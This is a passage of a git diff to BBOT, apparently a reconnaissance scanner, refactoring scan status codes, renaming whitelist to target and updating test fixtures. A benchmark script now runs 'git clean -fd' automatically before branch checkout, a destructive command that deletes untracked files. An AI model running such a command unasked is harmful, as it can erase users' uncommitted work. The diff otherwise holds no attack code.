`on_status` event in the dispatcher. """ - _status_codes = { - "NOT_STARTED": 0, - "STARTING": 1, - "RUNNING": 2, - "FINISHING": 3, - "CLEANING_UP": 4, - "ABORTING": 5, - "ABORTED": 6, - "FAILED": 7, - "FINISHED": 8, - } - def __init__( self, *targets, @@ -124,10 +124,10 @@ def __init__( self.duration = None self.duration_human = None self.duration_seconds = None - self._dispatcher_arg = dispatcher self._success = False self._scan_finish_status_message = None + self._marked_finished = False self._modules_loaded = False if scan_id is not None: @@ -143,12 +143,14 @@ def __init__( if name is not None: kwargs["scan_name"] = name - self._unbaked_preset = Preset(*targets, **kwargs) + base_preset = Preset(*targets, **kwargs) if custom_preset is not None: if not isinstance(custom_preset, Preset): raise ValidationError(f'Preset must be of type Preset, not "{type(custom_preset).__name__}"') - self._unbaked_preset.merge(custom_preset) + base_preset.merge(custom_preset) + + self.preset = base_preset.bake(self) self._prepped = False self._finished_init = False @@ -157,17 +159,7 @@ def __init__( self._omitted_event_types = None self.modules = OrderedDict({}) self.dummy_modules = {} - self.preset = None - # initial status before `_prep()` runs - self._status = "NOT_STARTED" - self._status_code = self._status_codes[self._status] - - async def _prep(self): - """ - Creates the scan's output folder, loads its modules, and calls their .setup() methods. - """ - - self.preset = await self._unbaked_preset.bake(self) + self._status_code = SCAN_STATUS_NOT_STARTED # scan name if self.preset.scan_name is None: @@ -198,19 +190,18 @@ async def _prep(self): else: self.home = self.preset.bbot_home / "scans" / self.name + self._status_code = SCAN_STATUS_NOT_STARTED + # scan temp dir self.temp_dir = self.home / "temp" - self.helpers.mkdir(self.temp_dir) - - self._status = "NOT_STARTED" - self._status_code = 0 - if self._dispatcher_arg is None: + # dispatcher + if dispatcher is None: from .dispatcher import Dispatcher self.dispatcher = Dispatcher() else: - self.dispatcher = self._dispatcher_arg + self.dispatcher = dispatcher self.dispatcher.set_scan(self) # scope distance @@ -280,7 +271,28 @@ async def _prep(self): # update the master PID SHARED_INTERPRETER_STATE.update_scan_pid() + async def _prep(self): + """ + Expands async seed types (e.g. ASN → IP ranges), evaluates preset conditions, + creates the scan's output folder, loads its modules, and calls their .setup() methods. + """ + # expand async seed types (e.g. ASN → IP ranges) + await self.preset.target.generate_children(self.helpers) + + # evaluate preset conditions (may abort the scan) + if self.preset.conditions: + from .preset.conditions import ConditionEvaluator + + evaluator = ConditionEvaluator(self.preset) + evaluator.evaluate() + self.helpers.mkdir(self.home) + self.helpers.mkdir(self.temp_dir) + + if not self._modules_loaded: + self.modules = OrderedDict({}) + self.dummy_modules = {} + if not self._prepped: # clear modules for fresh start self.modules.clear() @@ -291,11 +303,10 @@ async def _prep(self): f.write(self.preset.to_yaml()) # log scan overview - - start_msg = f"Scan seeded with {len(self.seeds):,} targets" + start_msg = f"Scan seeded with {len(self.seeds):,} seed(s)" details = [] - if self.whitelist != self.target: - details.append(f"{len(self.whitelist):,} in whitelist") + if self.target.target: + details.append(f"{len(self.target.target):,} in target") if self.blacklist: details.append(f"{len(self.blacklist):,} in blacklist") if details: @@ -332,9 +343,10 @@ async def _prep(self): self._fail_setup(msg) total_modules = total_failed + len(self.modules) - success_msg = f"Setup succeeded for {len(self.modules):,}/{total_modules:,} modules." + success_msg = f"Setup succeeded for {len(self.modules) - 2:,}/{total_modules - 2:,} modules." self.success(success_msg) + self._modules_loaded = True self._prepped = True def start(self): @@ -350,11 +362,11 @@ async def async_start_without_generator(self): pass async def async_start(self): - """ """ - self.start_time = datetime.now() + self.start_time = datetime.now(ZoneInfo("UTC")) try: if not self._prepped: await self._prep() + await self._set_status(SCAN_STATUS_STARTING) self.root_event.data["started_at"] = self.start_time.isoformat() self._start_log_handlers() @@ -370,18 +382,16 @@ async def async_start(self): self._status_ticker(self.status_frequency), name=f"{self.name}._status_ticker()" ) - self.status = "STARTING" - if not self.modules: self.error("No modules loaded") - self.status = "FAILED" + await self._set_status(SCAN_STATUS_FAILED) return else: self.hugesuccess(f"Starting scan {self.name}") await self.dispatcher.on_start(self) - self.status = "RUNNING" + await self._set_status(SCAN_STATUS_RUNNING) self._start_modules() self.verbose(f"{len(self.modules):,} modules started") @@ -411,8 +421,6 @@ async def async_start(self): new_activity = await self.finish() if not new_activity: self._success = True - scan_finish_event = await self._mark_finished() - yield scan_finish_event break await asyncio.sleep(0.1) @@ -421,7 +429,7 @@ async def async_start(self): except BaseException as e: if self.helpers.in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): - self.stop() + await self.async_stop() self._success = True else: try: @@ -436,6 +444,8 @@ async def async_start(self): self.critical(f"Unexpected error during scan:\n{traceback.format_exc()}") finally: + scan_finish_event = await self._mark_finished() + yield scan_finish_event tasks = self._cancel_tasks() self.debug(f"Awaiting {len(tasks):,} tasks") for task in tasks: @@ -445,7 +455,7 @@ async def async_start(self): self.debug(f"Awaited {len(tasks):,} tasks") await self._report() await self._cleanup() - + # report on final scan status await self.dispatcher.on_finish(self) self._stop_log_handlers() @@ -459,34 +469,44 @@ async def async_start(self): log_fn(self._scan_finish_status_message) async def _mark_finished(self): - if self.status == "ABORTING": - status = "ABORTED" + if self._marked_finished: + return + + self._marked_finished = True + + if self._status_code == SCAN_STATUS_ABORTING: + status_code = SCAN_STATUS_ABORTED elif not self._success: - status = "FAILED" + status_code = SCAN_STATUS_FAILED else: - status = "FINISHED" + status_code = SCAN_STATUS_FINISHED - self.end_time = datetime.now() + status = get_scan_status_name(status_code) + + self.end_time = datetime.now(ZoneInfo("UTC")) self.duration = self.end_time - self.start_time self.duration_seconds = self.duration.total_seconds() self.duration_human = self.helpers.human_timedelta(self.duration) - self._scan_finish_status_message = f"Scan {self.name} completed in {self.duration_human} with status {status}" + self._scan_finish_status_message = ( + f"Scan {self.name} completed in {self.duration_human} with status {self.status}" + ) scan_finish_event = self.finish_event(self._scan_finish_status_message, status) - # queue final scan event with output modules - output_modules = [m for m in self.modules.values() if m._type == "output" and m.name != "python"] - for m in output_modules: - await m.queue_event(scan_finish_event) - # wait until output modules are flushed - while 1: - modules_finished = all(m.finished for m in output_modules) - if modules_finished: - break - await asyncio.sleep(0.05) - - self.status = status + if not self._stopping: + # queue final scan event with output modules + output_modules = [m for m in self.modules.values() if m._type == "output" and m.name != "python"] + for m in output_modules: + await m.queue_event(scan_finish_event) + # wait until output modules are flushed + while 1: + modules_finished = all([m.finished for m in output_modules]) + if modules_finished: + break + await asyncio.sleep(0.05) + + await self._set_status(status) return scan_finish_event def _start_modules(self): @@ -529,7 +549,8 @@ async def setup_modules(self, remove_failed=True, deps_only=False): self.modules[module.name].set_error_state() hard_failed.append(module.name) else: - self.info(f"Setup soft-failed for {module.name}: {msg}") + log_fn = self.warning if module._type == "output" else self.info + log_fn(f"Setup soft-failed for {module.name}: {msg}") soft_failed.append(module.name) if (not status) and (module._intercept or remove_failed): # if a intercept module fails setup, we always remove it @@ -667,7 +688,7 @@ def num_queued_events(self): total += len(q._queue) return total - def modules_status(self, _log=False): + def modules_status(self, _log=False, detailed=False): finished = True status = {"modules": {}} @@ -737,7 +758,7 @@ def modules_status(self, _log=False): f"{self.name}: No events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds)" ) - if self.log_level <= logging.DEBUG: + if detailed or self.log_level <= logging.DEBUG: # status debugging scan_active_status = [] scan_active_status.append(f"scan._finished_init: {self._finished_init}") @@ -770,7 +791,7 @@ def modules_status(self, _log=False): return status - def stop(self): + async def async_stop(self): """Stops the in-progress scan and performs necessary cleanup. This method sets the scan's status to "ABORTING," cancels any pending tasks, and drains event queues. It also kills child processes spawned during the scan. @@ -780,7 +801,7 @@ def stop(self): """ if not self._stopping: self._stopping = True - self.status = "ABORTING" + await self._set_status(SCAN_STATUS_ABORTING) self.hugewarning("Aborting scan") self.trace() self._cancel_tasks() @@ -789,6 +810,10 @@ def stop(self): self._drain_queues() self.helpers.kill_children() self.debug("Finished aborting scan") + await self._set_status(SCAN_STATUS_ABORTED) + + def stop(self): + asyncio.create_task(self.async_stop()) async def finish(self): """Finalizes the scan by invoking the `finished()` method on all active modules if new activity is detected. @@ -805,7 +830,7 @@ async def finish(self): # if new events were generated since last time we were here if self._new_activity: self._new_activity = False - self.status = "FINISHING" + await self._set_status(SCAN_STATUS_FINISHING) # Trigger .finished() on every module and start over log.info("Finishing scan") for module in self.modules.values(): @@ -859,8 +884,7 @@ def _cancel_tasks(self): # ticker if self.ticker_task: tasks.append(self.ticker_task) - # dispatcher - tasks += self.dispatcher_tasks + self.helpers.cancel_tasks_sync(tasks) # process pool self.helpers.process_pool.shutdown(cancel_futures=True) @@ -889,7 +913,8 @@ async def _cleanup(self): This method is called once at the end of the scan to perform resource cleanup tasks. It is executed regardless of whether the scan was aborted or completed - successfully. The scan status is set to "CLEANING_UP" during the execution. + successfully. + After calling the `cleanup()` method for each module, it performs additional cleanup tasks such as removing the scan's home directory if empty and cleaning old scans. @@ -900,16 +925,15 @@ async def _cleanup(self): # clean up self if not self._cleanedup: self._cleanedup = True - self.status = "CLEANING_UP" + # clean up modules + for mod in self.modules.values(): + await mod._cleanup() # clean up dns engine if self.helpers._dns is not None: await self.helpers.dns.shutdown() # clean up web engine if self.helpers._web is not None: await self.helpers.web.shutdown() - # clean up modules - for mod in self.modules.values(): - await mod._cleanup() # In some test paths, `_prep()` is never called, so `home` and # `temp_dir` may not exist. Treat those as best-effort cleanups. home = getattr(self, "home", None) @@ -924,36 +948,22 @@ async def _cleanup(self): def in_scope(self, *args, **kwargs): return self.preset.in_scope(*args, **kwargs) - def whitelisted(self, *args, **kwargs): - return self.preset.whitelisted(*args, **kwargs) + def in_target(self, *args, **kwargs): + return self.preset.in_target(*args, **kwargs) def blacklisted(self, *args, **kwargs): return self.preset.blacklisted(*args, **kwargs) @property def core(self): - # Before `_prep()` runs, fall back to the unbaked preset's core so that basic configuration is still available (during module construction in tests) - if self.preset is not None: - return self.preset.core - return self._unbaked_preset.core + return self.preset.core @property def config(self): - # Allow access to the scan config even before `_prep()` by falling back to the unbaked preset's core config. - if self.preset is not None: - return self.preset.core.config - return self._unbaked_preset.core.config + return self.preset.core.config @property def web_config(self): - """ - Web-related configuration for the scan. - - Exposed as a property so it is available even before `_prep()` runs, - falling back to the underlying config's `web` section. During `_prep()` - an instance attribute of the same name is assigned, which will then - override this property for the remainder of the scan lifetime. - """ return self.config.get("web", {}) @property @@ -964,23 +974,13 @@ def target(self): def seeds(self): return self.preset.seeds - @property - def whitelist(self): - return self.preset.whitelist - @property def blacklist(self): return self.preset.blacklist @property def helpers(self): - # Before `_prep()` runs, `self.preset` is None. In those cases, - # fall back to the unbaked preset's helpers so that CLI utilities - # (e.g. depsinstaller) and other lightweight helper functionality - # remain available without requiring a full scan prep. - if self.preset is not None: - return self.preset.helpers - return self._unbaked_preset.helpers + return self.preset.helpers @property def force_start(self): @@ -996,19 +996,19 @@ def stopping(self): @property def stopped(self): - return self._status_code > 5 + return self._status_code >= SCAN_STATUS_ABORTED @property def running(self): - return 0 < self._status_code < 4 + return SCAN_STATUS_STARTING <= self._status_code <= SCAN_STATUS_FINISHING @property def aborting(self): - return 5 <= self._status_code <= 6 + return SCAN_STATUS_ABORTING <= self._status_code <= SCAN_STATUS_ABORTED @property def status(self): - return self._status + return get_scan_status_name(self._status_code) @property def omitted_event_types(self): @@ -1016,32 +1016,22 @@ def omitted_event_types(self): self._omitted_event_types = self.config.get("omit_event_types", []) return self._omitted_event_types - @status.setter - def status(self, status): - """ - Block setting after status has been aborted - """ - status = str(status).strip().upper() - if status in self._status_codes: - if self.status == "ABORTING" and not status == "ABORTED": - self.debug(f'Attempt to set invalid status "{status}" on aborted scan') - else: - if status != self._status: - self._status = status - self._status_code = self._status_codes[status] - # During early initialization (or in certain tests),`dispatcher` may not be set yet. In that case we just update the status without scheduling dispatcher tasks - dispatcher = getattr(self, "dispatcher", None) - if dispatcher is not None: - self.dispatcher_tasks.append( - asyncio.create_task( - dispatcher.catch(self.dispatcher.on_status, self._status, self.id), - name=f"{self.name}.dispatcher.on_status({status})", - ) - ) - else: - self.debug(f'Scan status is already "{status}"') - else: - self.debug(f'Attempt to set invalid status "{status}" on scan') + async def _set_status(self, status): + try: + status_code = get_scan_status_code(status) + status = get_scan_status_name(status_code) + except ValueError: + self.warning(f'Attempt to set invalid status "{status}" on scan') + + self.debug(f"Setting scan status from {self.status} to {status}") + # if the status isn't progressing forward, skip setting it + if status_code <= self._status_code: + self.debug(f'Attempt to set invalid status "{status}" on scan with status "{self.status}"') + return + + self._status_code = status_code + with self.dispatcher.catch(): + await self.dispatcher.on_status(self.status, self.id) def make_event(self, *args, **kwargs): kwargs["scan"] = self @@ -1068,22 +1058,26 @@ def root_event(self): "tags": [ "distance-0" ], - "module": "TARGET", - "module_sequence": "TARGET" + "module": "SEED", + "module_sequence": "SEED" } ``` """ if self._root_event is None: self._root_event = self.make_root_event(f"Scan {self.name} started at {self.start_time}") self._root_event.data["status"] = self.status + self._root_event.data["status_code"] = self._status_code return self._root_event - def finish_event(self, context=None, status=None): + def finish_event(self, context=None, status_code=None): if self._finish_event is None: - if context is None or status is None: - raise ValueError("Must specify context and status") + if context is None or status_code is None: + raise ValueError("Must specify context and status_code") self._finish_event = self.make_root_event(context) + status_code = get_scan_status_code(status_code) + status = get_scan_status_name(status_code) self._finish_event.data["status"] = status + self._finish_event.data["status_code"] = status_code return self._finish_event def make_root_event(self, context): @@ -1092,7 +1086,7 @@ def make_root_event(self, context): root_event.scope_distance = 0 root_event.parent = root_event root_event._dummy = False - root_event.module = self._make_dummy_module(name="TARGET", _type="TARGET") + root_event.module = self._make_dummy_module(name="SEED", _type="SEED") return root_event @property @@ -1101,13 +1095,13 @@ def dns_strings(self): A list of DNS hostname strings generated from the scan target """ if self._dns_strings is None: - dns_whitelist = {t.host for t in self.whitelist if t.host and isinstance(t.host, str)} - dns_whitelist = sorted(dns_whitelist, key=len) - dns_whitelist_set = set() + dns_target = {t.host for t in self.target.target if t.host and isinstance(t.host, str)} + dns_target = sorted(dns_target, key=len) + dns_target_set = set() dns_strings = [] - for t in dns_whitelist: - if not any(x in dns_whitelist_set for x in self.helpers.domain_parents(t, include_self=True)): - dns_whitelist_set.add(t) + for t in dns_target: + if not any(x in dns_target_set for x in self.helpers.domain_parents(t, include_self=True)): + dns_target_set.add(t) dns_strings.append(t) self._dns_strings = dns_strings return self._dns_strings @@ -1206,19 +1200,23 @@ async def extract_in_scope_hostnames(self, s): @property def json(self): """ - A dictionary representation of the scan including its name, ID, targets, whitelist, blacklist, and modules + A dictionary representation of the scan including its name, ID, targets, target, blacklist, and modules """ j = {} for i in ("id", "name"): v = getattr(self, i, "") if v: j.update({i: v}) - j["target"] = self.preset.target.json - j["preset"] = self.preset.to_dict(redact_secrets=True) + if self.preset is not None: + j["target"] = self.preset.target.json + j["preset"] = self.preset.to_dict(redact_secrets=True) + else: + j["target"] = {} + j["preset"] = {} if self.start_time is not None: - j["started_at"] = self.start_time.isoformat() + j["started_at"] = self.start_time.timestamp() if self.end_time is not None: - j["finished_at"] = self.end_time.isoformat() + j["finished_at"] = self.end_time.timestamp() if self.duration is not None: j["duration_seconds"] = self.duration_seconds if self.duration_human is not None: diff --git a/bbot/scanner/stats.py b/bbot/scanner/stats.py index 38d95032f7..71547ddab9 100644 --- a/bbot/scanner/stats.py +++ b/bbot/scanner/stats.py @@ -72,7 +72,7 @@ def table(self): header = ["Module", "Produced", "Consumed"] table = [] for mname, mstat in self.module_stats.items(): - if mname == "TARGET" or mstat.module._stats_exclude: + if mname == "SEED" or mstat.module._stats_exclude: continue table_row = [] table_row.append(mname) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 62089cd949..f51e843775 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -20,7 +20,7 @@ class BaseTarget(RadixTarget): while allowing lightning fast scope lookups. This class is inherited by all three components of the BBOT target: - - Whitelist + - Target - Blacklist - Seeds """ @@ -95,8 +95,27 @@ def add(self, targets, data=None): event_seeds = sorted(event_seeds, key=lambda e: (0, 0) if not e.host else host_size_key(e.host)) for event_seed in event_seeds: self.event_seeds.add(event_seed) + # Some event seeds (e.g. ORG_STUB, USERNAME, BLACKLIST_REGEX) are not host-based and have + # host == None. These are still useful as parsed target entries, but cannot always be + # represented in the underlying RadixTarget tree, which expects a concrete host. + # Subclasses like ScanBlacklist may still need to see these entries (for regex handling, + # etc.), so we always call self._add() and let the subclass decide whether to forward to + # the radix layer. self._add(event_seed.host, data=(event_seed if data is None else data)) + def _add(self, host, data): + """ + Wrapper around RadixTarget._add(). + + The radix tree cannot handle host == None, but some subclasses (e.g. ScanBlacklist) + need to receive non-host-based entries such as BLACKLIST_REGEX. BaseTarget.add() + always calls self._add(); this default implementation safely ignores hostless + entries while still delegating normal hosts to the underlying RadixTarget. + """ + if host is None: + return + super()._add(host, data) + def __iter__(self): yield from self.event_seeds @@ -105,7 +124,8 @@ class ScanSeeds(BaseTarget): """ Initial events used to seed a scan. - These are the targets specified by the user, e.g. via `-t` on the CLI. + These are the seeds specified by the user, e.g. via `-s` on the CLI. + If no seeds were specified, the targets (`-t`) are copied here. """ def get(self, event, single=True, **kwargs): @@ -143,9 +163,9 @@ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) -class ScanWhitelist(ACLTarget): +class ScanTarget(ACLTarget): """ - A collection of BBOT events that represent a scan's whitelist. + A collection of BBOT events that represent a scan's targets. """ pass @@ -213,48 +233,55 @@ class BBOTTarget: """ A convenient abstraction of a scan target that contains three subtargets: - seeds - - whitelist + - target - blacklist - Provides high-level functions like in_scope(), which includes both whitelist and blacklist checks. + Provides high-level functions like in_scope(), which includes both target and blacklist checks. """ - def __init__(self, *seeds, whitelist=None, blacklist=None, strict_scope=False): - self.strict_scope = strict_scope - self.seeds = ScanSeeds(*seeds, strict_dns_scope=strict_scope) - if whitelist is None: - whitelist = self.seeds.hosts - self.whitelist = ScanWhitelist(*whitelist, strict_dns_scope=strict_scope) - if blacklist is None: - blacklist = [] - self.blacklist = ScanBlacklist(*blacklist) + def __init__(self, seeds=None, target=None, blacklist=None, strict_dns_scope=False): + self.strict_dns_scope = strict_dns_scope + self._orig_seeds = seeds + + target_list = list(target) if target else [] + self.target = ScanTarget(*target_list, strict_dns_scope=strict_dns_scope) + + # Seeds are only copied from target if target is defined but seeds are NOT defined + # Use target.inputs (original inputs) to preserve all inputs, including subdomains + if seeds is None: + seeds = self.target.inputs + self.seeds = ScanSeeds(*list(seeds), strict_dns_scope=strict_dns_scope) + + blacklist_list = list(blacklist) if blacklist else [] + self.blacklist = ScanBlacklist(*blacklist_list) @property def json(self): - return { - "seeds": sorted(self.seeds.inputs), - "whitelist": sorted(self.whitelist.inputs), + j = { + "target": sorted(self.target.inputs), "blacklist": sorted(self.blacklist.inputs), - "strict_scope": self.strict_scope, + "strict_dns_scope": self.strict_dns_scope, "hash": self.hash.hex(), "seed_hash": self.seeds.hash.hex(), - "whitelist_hash": self.whitelist.hash.hex(), + "target_hash": self.target.hash.hex(), "blacklist_hash": self.blacklist.hash.hex(), "scope_hash": self.scope_hash.hex(), } + if self._orig_seeds is not None: + j["seeds"] = sorted(self.seeds.inputs) + return j @property def hash(self): sha1_hash = sha1() - for target_hash in [t.hash for t in (self.seeds, self.whitelist, self.blacklist)]: + for target_hash in [t.hash for t in (self.seeds, self.target, self.blacklist)]: sha1_hash.update(target_hash) return sha1_hash.digest() @property def scope_hash(self): sha1_hash = sha1() - # Consider only the hash values of the whitelist and blacklist - for target_hash in [t.hash for t in (self.whitelist, self.blacklist)]: + for target_hash in [t.hash for t in (self.target, self.blacklist)]: sha1_hash.update(target_hash) return sha1_hash.digest() @@ -263,8 +290,12 @@ def in_scope(self, host): Check whether a hostname, url, IP, etc. is in scope. Accepts either events or string data. - Checks whitelist and blacklist. - If `host` is an event and its scope distance is zero, it will automatically be considered in-scope. + This method checks both target AND blacklist. + A host is in-scope if it is in the target AND not blacklisted. + + Note: This is different from `in_target()` which only checks the target. + - `in_target()`: checks if host is in the target + - `in_scope()`: checks if host is in the target AND not blacklisted Examples: Check if a URL is in scope: @@ -272,8 +303,9 @@ def in_scope(self, host): True """ blacklisted = self.blacklisted(host) - whitelisted = self.whitelisted(host) - return whitelisted and not blacklisted + if blacklisted: + return False + return self.in_target(host) def blacklisted(self, host): """ @@ -291,21 +323,24 @@ def blacklisted(self, host): """ return host in self.blacklist - def whitelisted(self, host): + def in_target(self, host): """ - Check whether a hostname, url, IP, etc. is whitelisted. + Check whether a hostname, url, IP, etc. is in the target. + + This method ONLY checks the target, NOT the blacklist. + Use `in_scope()` to check both target AND blacklist. Note that `host` can be a hostname, IP address, CIDR, email address, or any BBOT `Event` with the `host` attribute. Args: - host (str or IPAddress or Event): The host to check against the whitelist + host (str or IPAddress or Event): The host to check against the target Examples: - Check if a URL's host is whitelisted: - >>> preset.whitelisted("http://www.evilcorp.com") + Check if a URL's host is in target: + >>> preset.in_target("http://www.evilcorp.com") True """ - return host in self.whitelist + return host in self.target def __eq__(self, other): return self.hash == other.hash @@ -315,9 +350,10 @@ async def generate_children(self, helpers=None): Generate children for the target, for seed types that expand into other seed types. Helpers are passed into the _generate_children method to enable the use of network lookups and other utilities during the expansion process. """ - # Check if this target had a custom whitelist (whitelist different from the default seed hosts) - original_seed_hosts = self.seeds.hosts - had_custom_whitelist = set(self.whitelist.inputs) != set(original_seed_hosts) + # Check if this target had a custom target scope (target different from the default seed hosts) + # Compare inputs (strings) to inputs (strings) to avoid type mismatches + # between string inputs and host objects (IP networks, etc.) + had_custom_target = set(self.target.inputs) != set(self.seeds.inputs) # Expand seeds first for event_seed in list(self.seeds.event_seeds): @@ -331,11 +367,11 @@ async def generate_children(self, helpers=None): for child in children: self.blacklist.add(child) - # After expanding seeds, update the whitelist to include any new hosts from seed expansion + # After expanding seeds, update the target to include any new hosts from seed expansion # This ensures that expanded targets (like IP ranges from ASN) are considered in-scope - # BUT only if no custom whitelist was provided - don't override user's custom whitelist - if not had_custom_whitelist: + # BUT only if no custom target was provided - don't override user's custom target + if not had_custom_target: expanded_seed_hosts = self.seeds.hosts for host in expanded_seed_hosts: - if host not in self.whitelist: - self.whitelist.add(host) + if host not in self.target: + self.target.add(host) diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index 9ccf30a198..a96cdb5c85 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -33,7 +33,12 @@ def get_current_branch() -> str: def checkout_branch(branch: str, repo_path: Path = None): - """Checkout a git branch.""" + """Checkout a git branch, cleaning up generated files first.""" + # Remove untracked files before checkout. Without this, files generated + # by one branch's toolchain (e.g. uv.lock from `uv run` on a Poetry + # branch) block checkout to a branch that tracks those same files. + print("Cleaning untracked files before checkout") + run_command(["git", "clean", "-fd"], cwd=repo_path) print(f"Checking out branch: {branch}") run_command(["git", "checkout", branch], cwd=repo_path) @@ -51,7 +56,7 @@ def run_benchmarks(output_file: Path, repo_path: Path = None) -> bool: try: cmd = [ - "poetry", + "uv", "run", "python", "-m", @@ -380,9 +385,6 @@ def main(): base_data = {} current_data = {} - base_data = {} - current_data = {} - try: # Run benchmarks on base branch print(f"\n=== Running benchmarks on base branch: {args.base} ===") diff --git a/bbot/scripts/docs.py b/bbot/scripts/docs.py index a0c55d73f2..8da02e83bd 100755 --- a/bbot/scripts/docs.py +++ b/bbot/scripts/docs.py @@ -6,7 +6,7 @@ import yaml from pathlib import Path -from bbot import Preset +from bbot.scanner import Preset from bbot.core.modules import MODULE_LOADER diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 6ed7e277e6..df390f5f37 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -54,10 +54,8 @@ def clean_default_config(monkeypatch): ) with monkeypatch.context() as m: m.setattr("bbot.core.core.DEFAULT_CONFIG", clean_config) - # Also mock custom config to be empty so user config doesn't contaminate tests - m.setattr("bbot.core.config.files.BBOTConfigFiles.get_custom_config", lambda self: OmegaConf.create({})) - # Reset the cached custom config on the global CORE instance to force reload - CORE._custom_config = OmegaConf.create({}) + # Also clear CORE's custom_config to ensure Preset.copy() gets a clean core + m.setattr(CORE, "_custom_config", OmegaConf.create({})) yield @@ -149,47 +147,90 @@ def helpers(scan): @pytest.fixture def events(scan): + dummy_module = scan._make_dummy_module("dummy_module") + class bbot_events: - localhost = scan.make_event("127.0.0.1", parent=scan.root_event) - ipv4 = scan.make_event("8.8.8.8", parent=scan.root_event) - netv4 = scan.make_event("8.8.8.8/30", parent=scan.root_event) - ipv6 = scan.make_event("2001:4860:4860::8888", parent=scan.root_event) - netv6 = scan.make_event("2001:4860:4860::8888/126", parent=scan.root_event) - domain = scan.make_event("publicAPIs.org", parent=scan.root_event) - subdomain = scan.make_event("api.publicAPIs.org", parent=scan.root_event) - email = scan.make_event("bob@evilcorp.co.uk", "EMAIL_ADDRESS", parent=scan.root_event) - open_port = scan.make_event("api.publicAPIs.org:443", parent=scan.root_event) + localhost = scan.make_event("127.0.0.1", parent=scan.root_event, module=dummy_module) + ipv4 = scan.make_event("8.8.8.8", parent=scan.root_event, module=dummy_module) + netv4 = scan.make_event("8.8.8.8/30", parent=scan.root_event, module=dummy_module) + ipv6 = scan.make_event("2001:4860:4860::8888", parent=scan.root_event, module=dummy_module) + netv6 = scan.make_event("2001:4860:4860::8888/126", parent=scan.root_event, module=dummy_module) + domain = scan.make_event("publicAPIs.org", parent=scan.root_event, module=dummy_module) + subdomain = scan.make_event("api.publicAPIs.org", parent=scan.root_event, module=dummy_module) + email = scan.make_event("bob@evilcorp.co.uk", "EMAIL_ADDRESS", parent=scan.root_event, module=dummy_module) + open_port = scan.make_event("api.publicAPIs.org:443", parent=scan.root_event, module=dummy_module) protocol = scan.make_event( - {"host": "api.publicAPIs.org", "port": 443, "protocol": "HTTP"}, "PROTOCOL", parent=scan.root_event + {"host": "api.publicAPIs.org", "port": 443, "protocol": "HTTP"}, + "PROTOCOL", + parent=scan.root_event, + module=dummy_module, + ) + ipv4_open_port = scan.make_event("8.8.8.8:443", parent=scan.root_event, module=dummy_module) + ipv6_open_port = scan.make_event( + "[2001:4860:4860::8888]:443", "OPEN_TCP_PORT", parent=scan.root_event, module=dummy_module + ) + url_unverified = scan.make_event( + "https://api.publicAPIs.org:443/hellofriend", parent=scan.root_event, module=dummy_module + ) + ipv4_url_unverified = scan.make_event( + "https://8.8.8.8:443/hellofriend", parent=scan.root_event, module=dummy_module + ) + ipv6_url_unverified = scan.make_event( + "https://[2001:4860:4860::8888]:443/hellofriend", parent=scan.root_event, module=dummy_module ) - ipv4_open_port = scan.make_event("8.8.8.8:443", parent=scan.root_event) - ipv6_open_port = scan.make_event("[2001:4860:4860::8888]:443", "OPEN_TCP_PORT", parent=scan.root_event) - url_unverified = scan.make_event("https://api.publicAPIs.org:443/hellofriend", parent=scan.root_event) - ipv4_url_unverified = scan.make_event("https://8.8.8.8:443/hellofriend", parent=scan.root_event) - ipv6_url_unverified = scan.make_event("https://[2001:4860:4860::8888]:443/hellofriend", parent=scan.root_event) url = scan.make_event( - "https://api.publicAPIs.org:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://api.publicAPIs.org:443/hellofriend", + "URL", + tags=["status-200"], + parent=scan.root_event, + module=dummy_module, ) ipv4_url = scan.make_event( - "https://8.8.8.8:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://8.8.8.8:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event, module=dummy_module ) ipv6_url = scan.make_event( - "https://[2001:4860:4860::8888]:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://[2001:4860:4860::8888]:443/hellofriend", + "URL", + tags=["status-200"], + parent=scan.root_event, + module=dummy_module, + ) + url_hint = scan.make_event( + "https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url, module=dummy_module ) url_hint = scan.make_event("https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url) - vulnerability = scan.make_event( - {"host": "evilcorp.com", "severity": "INFO", "description": "asdf"}, - "VULNERABILITY", + finding = scan.make_event( + { + "host": "evilcorp.com", + "severity": "INFORMATIONAL", + "confidence": "HIGH", + "description": "asdf", + "name": "Test Finding", + }, + "FINDING", + parent=scan.root_event, + module=dummy_module, + ) + finding = scan.make_event( + { + "host": "evilcorp.com", + "description": "asdf", + "name": "Finding", + "severity": "INFORMATIONAL", + "confidence": "HIGH", + }, + "FINDING", parent=scan.root_event, + module=dummy_module, ) - finding = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event) - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) + http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event, module=dummy_module) storage_bucket = scan.make_event( {"name": "storage", "url": "https://storage.blob.core.windows.net"}, "STORAGE_BUCKET", parent=scan.root_event, + module=dummy_module, ) - emoji = scan.make_event("💩", "WHERE_IS_YOUR_GOD_NOW", parent=scan.root_event) + emoji = scan.make_event("💩", "WHERE_IS_YOUR_GOD_NOW", parent=scan.root_event, module=dummy_module) bbot_events.all = [ # noqa: F841 bbot_events.localhost, @@ -211,7 +252,6 @@ class bbot_events: bbot_events.ipv4_url, bbot_events.ipv6_url, bbot_events.url_hint, - bbot_events.vulnerability, bbot_events.finding, bbot_events.http_response, bbot_events.storage_bucket, diff --git a/bbot/test/fastapi_test.py b/bbot/test/fastapi_test.py index f0c7b2d789..a4a1d57107 100644 --- a/bbot/test/fastapi_test.py +++ b/bbot/test/fastapi_test.py @@ -1,5 +1,5 @@ from typing import List -from bbot import Scanner +from bbot.scanner import Scanner from fastapi import 